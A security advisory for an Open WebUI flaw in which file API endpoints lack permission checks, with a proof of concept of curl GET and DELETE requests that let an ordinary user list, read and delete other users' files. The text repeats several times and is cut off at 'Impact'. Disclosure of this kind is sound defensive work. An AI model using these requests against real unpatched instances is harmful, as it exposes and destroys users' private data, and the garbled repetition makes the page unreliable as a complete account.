CVE-2026-45301

Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.3.16, a missing permission check in all files related API endpoints allows any authenticated user to list, access and delete every file uploaded by every user to the platform. This vulnerability is fixed in 0.3.16.

Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.3.16, a missing permission check in all files related API endpoints allows any authenticated user to list, access and delete every file uploaded by every user to the platform. This vulnerability is fixed in 0.3.16.

Summary

A missing permission check in all files related API endpoints allows any authenticated user to list, access and delete every file uploaded by every user to the platform.

Details

All files/ related endpoints lack permission checks.

Listing all files

For example, let's see how file listing is implemented: https://github.com/open-webui/open-webui/blob/e2b7296786053dfc77f6ae0205a1b195e05a712c/backend/apps/webui/routers/files.py#L107-L110 https://github.com/open-webui/open-webui/blob/e2b7296786053dfc77f6ae0205a1b195e05a712c/backend/apps/webui/models/files.py#L26 Notice the endpoint depends only on an authenticated user check, no file filtering is done to match the uploaded files' user_id to the requesting user.

This problem repeats itself throughout the various route implementations, allowing any user to perform actions on any file. Some note worthy functions:

Accessing the content of any file

https://github.com/open-webui/open-webui/blob/e2b7296786053dfc77f6ae0205a1b195e05a712c/backend/apps/webui/routers/files.py#L173-L193

Deleting any file

https://github.com/open-webui/open-webui/blob/e2b7296786053dfc77f6ae0205a1b195e05a712c/backend/apps/webui/routers/files.py#L224-L241

PoC

Configuration

1. I ran a clean install of the latest version using one of the docker one-liners on an Ubuntu desktop: docker run -d -p 3000:8080 -v ollama:/root/.ollama -v open-webui:/app/backend/data --name open-webui --restart always ghcr.io/open-webui/open-webui:ollama
2. I created an admin user
3. I created a second user to act as the threat actor with no elevated permissions
4. Admin user uploaded test.txt in a conversation with model
5. Admin user uploaded mydeepest_secret.docx in a conversation with model

Listing files uploaded by other users

1. Login to threat actor
2. Perform a GET request to /api/v1/files/

curl -X 'GET' \
  'http://localhost:3000/api/v1/files/' \
  -H 'accept: application/json'

[
  {
    "id": "b9733e9c-0714-4425-8915-d0361bf66dfc",
    "user_id": "c0c16e7a-6f81-4863-8b71-e56e2e389cf1",
    "filename": "b9733e9c-0714-4425-8915-d0361bf66dfc_test.txt",
    "meta": {
      "name": "test.txt",
      "content_type": "text/plain",
      "size": 4,
      "path": "/app/backend/data/uploads/b9733e9c-0714-4425-8915-d0361bf66dfc_test.txt"
    },
    "created_at": 1724709202
  },
  {
    "id": "8f058e18-fec1-4b9f-bb4e-c17f39d03c98",
    "user_id": "c0c16e7a-6f81-4863-8b71-e56e2e389cf1",
    "filename": "8f058e18-fec1-4b9f-bb4e-c17f39d03c98_mydeepest_secret.docx",
    "meta": {
      "name": "mydeepest_secret.docx",
      "content_type": "application/vnd.openxmlformats-officedocument.wordprocessingml.document",
      "size": 6485,
      "path": "/app/backend/data/uploads/8f058e18-fec1-4b9f-bb4e-c17f39d03c98_mydeepest_secret.docx"
    },
    "created_at": 1724710236
  }
]

Accessing other users' file content

1. Login to threat actor
2. Perform a GET request to /api/v1/files/{id}/content

curl -X 'GET' \
  'http://localhost:3000/api/v1/files/b9733e9c-0714-4425-8915-d0361bf66dfc/content' \
  -H 'accept: application/json'

wow

Deleting another user's uploaded file

1. Login to threat actor
2. Perform a DELETE request to /api/v1/files/{id}

curl -X 'DELETE' \
  'http://localhost:3000/api/v1/files/8f058e18-fec1-4b9f-bb4e-c17f39d03c98' \
  -H 'accept: application/json'

{
  "message": "File deleted successfully"
}

3. We will verify this action by furthur listing all files as mentioned above:

[
  {
    "id": "b9733e9c-0714-4425-8915-d0361bf66dfc",
    "user_id": "c0c16e7a-6f81-4863-8b71-e56e2e389cf1",
    "filename": "b9733e9c-0714-4425-8915-d0361bf66dfc_test.txt",
    "meta": {
      "name": "test.txt",
      "content_type": "text/plain",
      "size": 4,
      "path": "/app/backend/data/uploads/b9733e9c-0714-4425-8915-d0361bf66dfc_test.txt"
    },
    "created_at": 1724709202
  }
]

Impact

Having access…

Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.3.16, a missing permission check in all files related API endpoints allows any authenticated user to list, access and delete every file uploaded by every user to the platform. This vulnerability is fixed in 0.3.16.

Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.3.16, a missing permission check in all files related API endpoints allows any authenticated user to list, access and delete every file uploaded by every user to the platform. This vulnerability is fixed in 0.3.16.

Summary

A missing permission check in all files related API endpoints allows any authenticated user to list, access and delete every file uploaded by every user to the platform.

Details

All files/ related endpoints lack permission checks.

Listing all files

For example, let's see how file listing is implemented: https://github.com/open-webui/open-webui/blob/e2b7296786053dfc77f6ae0205a1b195e05a712c/backend/apps/webui/routers/files.py#L107-L110 https://github.com/open-webui/open-webui/blob/e2b7296786053dfc77f6ae0205a1b195e05a712c/backend/apps/webui/models/files.py#L26 Notice the endpoint depends only on an authenticated user check, no file filtering is done to match the uploaded files' user_id to the requesting user.

This problem repeats itself throughout the various route implementations, allowing any user to perform actions on any file. Some note worthy functions:

Accessing the content of any file

https://github.com/open-webui/open-webui/blob/e2b7296786053dfc77f6ae0205a1b195e05a712c/backend/apps/webui/routers/files.py#L173-L193

Deleting any file

https://github.com/open-webui/open-webui/blob/e2b7296786053dfc77f6ae0205a1b195e05a712c/backend/apps/webui/routers/files.py#L224-L241

PoC

Configuration

1. I ran a clean install of the latest version using one of the docker one-liners on an Ubuntu desktop: docker run -d -p 3000:8080 -v ollama:/root/.ollama -v open-webui:/app/backend/data --name open-webui --restart always ghcr.io/open-webui/open-webui:ollama
2. I created an admin user
3. I created a second user to act as the threat actor with no elevated permissions
4. Admin user uploaded test.txt in a conversation with model
5. Admin user uploaded mydeepest_secret.docx in a conversation with model

Listing files uploaded by other users

1. Login to threat actor
2. Perform a GET request to /api/v1/files/

curl -X 'GET' \
  'http://localhost:3000/api/v1/files/' \
  -H 'accept: application/json'

[
  {
    "id": "b9733e9c-0714-4425-8915-d0361bf66dfc",
    "user_id": "c0c16e7a-6f81-4863-8b71-e56e2e389cf1",
    "filename": "b9733e9c-0714-4425-8915-d0361bf66dfc_test.txt",
    "meta": {
      "name": "test.txt",
      "content_type": "text/plain",
      "size": 4,
      "path": "/app/backend/data/uploads/b9733e9c-0714-4425-8915-d0361bf66dfc_test.txt"
    },
    "created_at": 1724709202
  },
  {
    "id": "8f058e18-fec1-4b9f-bb4e-c17f39d03c98",
    "user_id": "c0c16e7a-6f81-4863-8b71-e56e2e389cf1",
    "filename": "8f058e18-fec1-4b9f-bb4e-c17f39d03c98_mydeepest_secret.docx",
    "meta": {
      "name": "mydeepest_secret.docx",
      "content_type": "application/vnd.openxmlformats-officedocument.wordprocessingml.document",
      "size": 6485,
      "path": "/app/backend/data/uploads/8f058e18-fec1-4b9f-bb4e-c17f39d03c98_mydeepest_secret.docx"
    },
    "created_at": 1724710236
  }
]

Accessing other users' file content

1. Login to threat actor
2. Perform a GET request to /api/v1/files/{id}/content

curl -X 'GET' \
  'http://localhost:3000/api/v1/files/b9733e9c-0714-4425-8915-d0361bf66dfc/content' \
  -H 'accept: application/json'

wow

Deleting another user's uploaded file

1. Login to threat actor
2. Perform a DELETE request to /api/v1/files/{id}

curl -X 'DELETE' \
  'http://localhost:3000/api/v1/files/8f058e18-fec1-4b9f-bb4e-c17f39d03c98' \
  -H 'accept: application/json'

{
  "message": "File deleted successfully"
}

3. We will verify this action by furthur listing all files as mentioned above:

[
  {
    "id": "b9733e9c-0714-4425-8915-d0361bf66dfc",
    "user_id": "c0c16e7a-6f81-4863-8b71-e56e2e389cf1",
    "filename": "b9733e9c-0714-4425-8915-d0361bf66dfc_test.txt",
    "meta": {
      "name": "test.txt",
      "content_type": "text/plain",
      "size": 4,
      "path": "/app/backend/data/uploads/b9733e9c-0714-4425-8915-d0361bf66dfc_test.txt"
    },
    "created_at": 1724709202
  }
]

Impact

Having access…

Summary

A missing permission check in all files related API endpoints allows any authenticated user to list, access and delete every file uploaded by every user to the platform.

Details

All files/ related endpoints lack permission checks.

Listing all files

For example, let's see how file listing is implemented: https://github.com/open-webui/open-webui/blob/e2b7296786053dfc77f6ae0205a1b195e05a712c/backend/apps/webui/routers/files.py#L107-L110 https://github.com/open-webui/open-webui/blob/e2b7296786053dfc77f6ae0205a1b195e05a712c/backend/apps/webui/models/files.py#L26 Notice the endpoint depends only on an authenticated user check, no file filtering is done to match the uploaded files' user_id to the requesting user.

This problem repeats itself throughout the various route implementations, allowing any user to perform actions on any file. Some note worthy functions:

Accessing the content of any file

https://github.com/open-webui/open-webui/blob/e2b7296786053dfc77f6ae0205a1b195e05a712c/backend/apps/webui/routers/files.py#L173-L193

Deleting any file

https://github.com/open-webui/open-webui/blob/e2b7296786053dfc77f6ae0205a1b195e05a712c/backend/apps/webui/routers/files.py#L224-L241

PoC

Configuration

1. I ran a clean install of the latest version using one of the docker one-liners on an Ubuntu desktop: docker run -d -p 3000:8080 -v ollama:/root/.ollama -v open-webui:/app/backend/data --name open-webui --restart always ghcr.io/open-webui/open-webui:ollama
2. I created an admin user
3. I created a second user to act as the threat actor with no elevated permissions
4. Admin user uploaded test.txt in a conversation with model
5. Admin user uploaded mydeepest_secret.docx in a conversation with model

Listing files uploaded by other users

1. Login to threat actor
2. Perform a GET request to /api/v1/files/

curl -X 'GET' \
  'http://localhost:3000/api/v1/files/' \
  -H 'accept: application/json'

[
  {
    "id": "b9733e9c-0714-4425-8915-d0361bf66dfc",
    "user_id": "c0c16e7a-6f81-4863-8b71-e56e2e389cf1",
    "filename": "b9733e9c-0714-4425-8915-d0361bf66dfc_test.txt",
    "meta": {
      "name": "test.txt",
      "content_type": "text/plain",
      "size": 4,
      "path": "/app/backend/data/uploads/b9733e9c-0714-4425-8915-d0361bf66dfc_test.txt"
    },
    "created_at": 1724709202
  },
  {
    "id": "8f058e18-fec1-4b9f-bb4e-c17f39d03c98",
    "user_id": "c0c16e7a-6f81-4863-8b71-e56e2e389cf1",
    "filename": "8f058e18-fec1-4b9f-bb4e-c17f39d03c98_mydeepest_secret.docx",
    "meta": {
      "name": "mydeepest_secret.docx",
      "content_type": "application/vnd.openxmlformats-officedocument.wordprocessingml.document",
      "size": 6485,
      "path": "/app/backend/data/uploads/8f058e18-fec1-4b9f-bb4e-c17f39d03c98_mydeepest_secret.docx"
    },
    "created_at": 1724710236
  }
]

Accessing other users' file content

1. Login to threat actor
2. Perform a GET request to /api/v1/files/{id}/content

curl -X 'GET' \
  'http://localhost:3000/api/v1/files/b9733e9c-0714-4425-8915-d0361bf66dfc/content' \
  -H 'accept: application/json'

wow

Deleting another user's uploaded file

1. Login to threat actor
2. Perform a DELETE request to /api/v1/files/{id}

curl -X 'DELETE' \
  'http://localhost:3000/api/v1/files/8f058e18-fec1-4b9f-bb4e-c17f39d03c98' \
  -H 'accept: application/json'

{
  "message": "File deleted successfully"
}

3. We will verify this action by furthur listing all files as mentioned above:

[
  {
    "id": "b9733e9c-0714-4425-8915-d0361bf66dfc",
    "user_id": "c0c16e7a-6f81-4863-8b71-e56e2e389cf1",
    "filename": "b9733e9c-0714-4425-8915-d0361bf66dfc_test.txt",
    "meta": {
      "name": "test.txt",
      "content_type": "text/plain",
      "size": 4,
      "path": "/app/backend/data/uploads/b9733e9c-0714-4425-8915-d0361bf66dfc_test.txt"
    },
    "created_at": 1724709202
  }
]

Impact

Having access…